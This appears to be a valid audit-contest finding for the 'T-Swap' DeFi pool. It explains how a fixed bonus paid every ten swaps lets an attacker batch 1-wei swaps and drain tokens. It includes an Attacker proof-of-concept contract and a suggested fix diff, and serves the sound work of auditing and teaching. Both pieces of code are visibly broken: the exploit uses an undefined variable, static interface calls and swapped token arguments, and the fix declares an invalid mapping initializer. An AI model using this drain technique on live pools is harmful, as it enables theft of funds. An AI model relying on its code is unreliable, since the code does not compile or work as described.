First Flight #18: T-Swap

First Flight #18
Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Malicious actor can drain all amount of one token using batch transaction.

Summary

This is the comment in the code.
"Every 10 swaps, we give the caller an extra token as an extra incentive to keep trading on T-Swap."
This incentive does not make senses because user can swap multiple times in one transaction (one block).

Vulnerability Details

swapExactInput and swapExactOutput call _swap function.
swapExactInput function checks if inputAmount is not zero and outputAmount is less than minOutputAmount.
swapExactOutput function checks if outputAmount is not zero.

_swap function doesn't check input amount and output amount.

function _swap(
IERC20 inputToken,
uint256 inputAmount,
IERC20 outputToken,
uint256 outputAmount
) private {
__SNIP__
swap_count++;
if (swap_count >= SWAP_COUNT_MAX) {
swap_count = 0;
outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
}
__SNIP__
}

So malicious trader can call swapExactInput with inputToken(weth), inputAmount(1 wei), outputToken(pool token), minOutputAmount(0) multiple times.

interface TSwapPool {
function swapExactInput(
IERC20 inputToken,
uint256 inputAmount,
IERC20 outputToken,
uint256 minOutputAmount,
uint64 deadline
) external returns (uint256 output);
function swapExactOutput(
IERC20 inputToken,
IERC20 outputToken,
uint256 outputAmount,
uint64 deadline
) external returns (uint256 inputAmount);
function getPoolToken() external returns (address);
function getWeth() external returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
contract Attacker {
function attack(address pool) payable {
for (uint256 i =0; i < 50; i++) {
TSwapPool(pool).swapExactInput(IERC20(TSwapPool.getPoolToken()), 1, IERC20(TSwapPool.getWeth()), 0, block.timestamp + 300);
}
uint256 incentives = IERC20(poolToken).balanceOf(poolToken);
msg.sender.call{value: incentives}();
}
}

In above example, we run 50 swaps in one transaction, so we will get 5 units of weth tokens by only spending 50 wei of pool token and gas fee.
(50 / 10 = 5)
For swapExactOutput, attack is also possible.

Impact

Malicious user can drain pool repeating multiple of very small transaction in batch.

Tools Used

Manual review

Recommendations

  1. It is recommended to apply a different incentive mechanism (keep the AMM pool formula).

  2. Implement stronger logic to mitigate the current incentive mechanism.
    Increase swap_max_count and set a counter for each user.
    Set the minimum qualifying threshold amount based on the 'weth' amount.

-- uint256 private swap_count = 0;
-- uint256 private constant SWAP_COUNT_MAX = 10;
++ mapping(address => uint256) eligible_swap_count = 0;
++ uint256 private constant SWAP_COUNT_MAX = 100;
++ uint256 private constant ELIGIBLE_WETH_LIMIT = 1e18;
////////////////////////////////////////////////////////////
function _swap(
IERC20 inputToken,
uint256 inputAmount,
IERC20 outputToken,
uint256 outputAmount
) private {
__SNIP__
-- swap_count++;
-- if (swap_count >= SWAP_COUNT_MAX) { // @audit 1 wei => outputToken, * 10 transactions
-- swap_count = 0;
-- outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000); // @audit wrong => AMM formula crash
-- }
++ if (outputToken == getWeth()) {
++ if (outputAmount >= ELIGIBLE_WETH_LIMIT)
++ eligible_swap_count[msg.sender]++;
++ } else {
++ if (inputAmount >= ELIGIBLE_WETH_LIMIT)
++ eligible_swap_count[msg.sender]++;
++ }
++ if (eligible_swap_count[msg.sender] >= SWAP_COUNT_MAX) {
++ eligible_swap_count[msg.sender] = 0;
++ outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
++ }
__SNIP__
}
Updates

Appeal created

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

In `TSwapPool::_swap` the extra tokens given to users after every swapCount breaks the protocol invariant of x * y = k

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.